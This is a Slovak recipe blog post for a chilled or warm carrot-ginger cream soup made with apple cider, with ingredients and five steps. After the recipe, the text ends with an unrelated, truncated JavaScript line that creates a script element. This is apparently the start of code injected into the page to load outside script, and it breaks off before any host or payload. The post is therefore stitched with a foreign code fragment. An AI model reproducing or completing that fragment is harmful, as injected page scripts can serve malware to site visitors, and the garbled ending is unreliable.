V tejto krásnej krémovej polievke sa spája sladkosť jarnej mrkvy a sviežosť jablčného sajderu… Jednoducho kombinácia ako stvorená na tieto horúce dni :)!

Môjho favorita medzi krémovými polievkami – mrkvovo-zázvorová s kokosovým mliekom – som sa rozhodla trochuu obmeniť a vytvoriť sviežu jarnú verziu so sajder Jablčnô. Práve ten podčiarkuje sladkosť mrkvy, pridáva kyslastú sviežu dochuť a robí túto polievku jedinečnou.

Perfektne chutí napríklad zachladená s nastrúhanou čerstvou mrkvou a bylinkami :).

Ingrediencie: (cca 4 porcie)

• 1 stredne veľká biela cibuľa
• 500g očistenej mrkvy
• kúsok zázvoru – naozaj len kúsok (ak ho obľubujete :))
• 250ml vývaru
• 250ml sajder Jablčnô
• 1/2 lyžičky soli
• štipka čierneho korenia
• 1 lyžica olivového oleja
• bylinky na ozdobu – tymián, mäta, medovka – práve tieto krásne podčiarknú sviežosť polievky
• nastrúhaná čerstvá mrkva na podávanie

Postup:

1. Cibuľu si nakrájame na plátky a zázvor najemno nastrúhame. Spolu opekáme (na slabom plameni) na olivovom oleji asi 3 minúty.
2. Pridáme nakrájanú mrkvu na kocky, zalejeme vývarom a sajderom, osolíme a dusíme 20-25 minút, kým mrkva nezmäkne.
3. Vymixujeme v blenderi, alebo ponorným mixérom na hladký krém. Poprípade pridáme trochu vody – podľa požadovanej hustoty.
4. Nakoniec pridáme štipku čierneho korenia a poprípade dochutíme soľou.
5. Polievku podávame teplú, alebo ju môžeme nechať vychladnúť a podávať ju studenú. Je to na Vás :).

var d=document;var s=d.createElement(‘script’);